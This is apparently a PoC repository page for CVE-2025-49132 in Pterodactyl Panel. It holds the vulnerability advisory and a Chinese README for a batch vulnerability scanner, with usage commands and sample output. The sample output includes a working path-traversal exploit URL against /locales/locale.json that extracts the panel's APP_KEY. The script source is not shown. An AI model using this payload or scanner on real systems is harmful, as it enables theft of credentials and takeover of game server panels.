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CVE-2025-49132 PoC — Pterodactyl Panel Allows Unauthenticated Arbitrary Remote Code Execution

Source
Associated Vulnerability
Title:Pterodactyl Panel Allows Unauthenticated Arbitrary Remote Code Execution (CVE-2025-49132)
Description:Pterodactyl is a free, open-source game server management panel. Prior to version 1.11.11, using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated. With the ability to execute arbitrary code it could be used to gain access to the Panel's server, read credentials from the Panel's config, extract sensitive information from the database, access files of servers managed by the panel, etc. This issue has been patched in version 1.11.11. There are no software workarounds for this vulnerability, but use of an external Web Application Firewall (WAF) could help mitigate this attack.
Description
Pterodactyl翼龙面板CVE-2025-49132批量检测☝️🤓
Readme
# CVE-2025-49132_poc

## 使用示例

1. **扫描单个目标**:
```bash
python3 CVE-2025-49132_poc.py -u http://pterodactyl.example.com
```

2. **扫描目标列表**:
```bash
python3 CVE-2025-49132_poc.py -f 目标列表.txt
```

3. **保存扫描结果**:
```bash
python3 CVE-2025-49132_poc.py -f 目标列表.txt -o 扫描结果.txt
```

## 输出示例:

**存在漏洞时**:
```
[+] 存在漏洞: 漏洞确认

    漏洞详情:
      • 漏洞类型: 路径遍历
      • 攻击向量: 通过路径遍历参数访问 /locales/locale.json
      • 利用 URL: http://target.com/locales/locale.json?locale=..%2F..%2Fconfig&namespace=app
      
    潜在影响:
      • 读取面板配置文件 (.env) 中的凭据
      • 提取数据库中的敏感信息
      • 访问面板管理的游戏服务器文件
    
    提取的 APP_KEY: base64{{your_secret_key_here}}
    
    修复建议: 立即升级到 Pterodactyl v1.11.11 或更高版本
```

**不存在漏洞时**:
```
[-] 不存在漏洞: 不存在漏洞 (状态码: 404)
```

**扫描摘要**:
```
扫描摘要:
  • 扫描目标总数: 5
  • 存在漏洞的目标: 2
  • 安全的目标: 3

[!] 严重: 检测到存在漏洞的系统! 需要立即采取措施。
```
File Snapshot

[4.0K] /data/pocs/cf6085ad9c556d2a6a3c182a38db75811cb764e2 ├── [5.8K] CVE-2025-49132_poc.py └── [1.2K] README.md 0 directories, 2 files
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